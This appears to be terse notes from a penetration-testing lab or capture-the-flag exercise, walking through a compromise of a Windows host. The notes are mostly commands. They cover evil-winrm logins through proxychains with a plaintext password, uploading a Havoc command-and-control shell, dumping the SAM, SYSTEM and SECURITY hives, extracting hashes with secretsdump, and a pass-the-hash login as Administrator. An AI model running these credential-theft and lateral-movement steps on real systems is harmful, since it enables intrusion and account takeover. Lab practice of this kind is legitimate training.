Loggoing in to JOE-LPTP using evilwinrm
proxychains evil-winrm -i 172.16.1.201 -u 'joe' -p 'Dev0ftheyear!' /domain:lab.offshore.localUploading Havoc Shell
After uploading the havoc shell. I found out that there is thightvnc server running
Connecting to vnc server
proxychains xtightvncviewer 172.16.1.201Found that I have access to imagebacks
- Download SAM, System, Security files from Widows/system32/config
Cracking the SAM files using impacket secretsdump
proxychains ./secretsdump.py -system /home/jay/Documents/offshore/DC0/JOE-LPTP_172.16.1.201/loot/system -sam /home/jay/Documents/offshore/DC0/JOE-LPTP_172.16.1.201/loot/SAM -security /home/jay/Documents/offshore/DC0/JOE-LPTP_172.16.1.201/loot/security LOCAL Logging in a administrator
Obtaining the flag form the Dektop Folder.
proxychains evil-winrm -i 172.16.1.201 -u 'Administrator' -H 49a332d455162a446ead15763e45817e /domain:lab.offshore.local